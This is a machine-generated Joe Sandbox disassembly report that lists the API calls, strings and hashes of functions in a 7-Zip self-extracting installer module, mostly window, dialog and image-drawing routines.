Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98

Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403436
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
GetWindowLongW.USER32(?,000000F0), ref: 00403456

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?), ref: 00403483
GetParent.USER32(?), ref: 00403491
LoadLibraryA.KERNEL32(riched20), ref: 004034A5
GetMenu.USER32(?), ref: 004034B8
SetThreadLocale.KERNEL32(00000419), ref: 004034C5
CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
DestroyWindow.USER32(?), ref: 00403506
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
GetSysColor.USER32(0000000F), ref: 0040351F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
??3@YAXPAX@Z.MSVCRT(?), ref: 0040355D
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403565

Strings

riched20, xrefs: 004034A0
RichEdit20W, xrefs: 004034EF
STATIC, xrefs: 00403440
{\rtf, xrefs: 0040346C

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A

Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
LoadIconW.USER32(00000000), ref: 00408EA2
GetSystemMetrics.USER32(00000032), ref: 00408EB6
GetSystemMetrics.USER32(00000031), ref: 00408EBB
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
LoadImageW.USER32(00000000), ref: 00408EC7
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
GetDlgItem.USER32(?,000004B2), ref: 00408F0C
GetDlgItem.USER32(?,000004B2), ref: 00408F16
GetWindowLongW.USER32(?,000000F0), ref: 00408F22
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
GetDlgItem.USER32(?,000004B5), ref: 00408F3F
GetDlgItem.USER32(?,000004B5), ref: 00408F4D
GetWindowLongW.USER32(?,000000F0), ref: 00408F59
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
GetWindow.USER32(?,00000005), ref: 0040904E
GetWindow.USER32(?,00000005), ref: 0040906A
GetWindow.USER32(?,00000005), ref: 00409082
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
LoadIconW.USER32(00000000), ref: 004090E9
GetDlgItem.USER32(?,000004B1), ref: 00409108
SendMessageW.USER32(00000000), ref: 0040910B

Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
Opcode Fuzzy Hash: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

IMAGES, xrefs: 0040232E
STATIC, xrefs: 004022F3

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,0041E3F0,00000000), ref: 0040377F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,0041E3F0,00000000), ref: 00403787
??3@YAXPAX@Z.MSVCRT(00404A6A,?), ref: 004039AD

Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 00402996
Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 0040299D

??3@YAXPAX@Z.MSVCRT(00404A6A,?,?,00000000,00000000,0041E3F0,00000000), ref: 004039DA

Strings

{\rtf, xrefs: 0040387A, 0040388F
SetEnvironment, xrefs: 00403909

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@
String ID: SetEnvironment${\rtf
API String ID: 613200358-318139784
Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59

Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407F94
GetWindowLongW.USER32(00000000), ref: 00407F9B
DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
GetSystemMetrics.USER32(00000031), ref: 00407FE0
GetSystemMetrics.USER32(00000032), ref: 00407FE7
GetWindowDC.USER32(?), ref: 00407FF9
GetWindowRect.USER32(?,?), ref: 00408006
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
ReleaseDC.USER32(?,00000000), ref: 00408042

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403EDF

Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402D76

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403F05
wsprintfA.USER32 ref: 00403F27
wsprintfA.USER32 ref: 00403F54

Strings

:%hs, xrefs: 00403F21
:Language:%u, xrefs: 00403F4E
;!@InstallEnd@!, xrefs: 00403EB3
;!@Install@!UTF-8!, xrefs: 00403EA4

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799

Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040779F
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
GetDlgItem.USER32(?,000004B4), ref: 004077BC
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
GetDlgItem.USER32(?,?), ref: 004077DD
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
GetDlgItem.USER32(?,?), ref: 004077EE
SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29

Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,0041E470,00000160), ref: 00407E20
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
GetDC.USER32(00000000), ref: 00407E4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
ReleaseDC.USER32(00000000,?), ref: 00407E73
GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
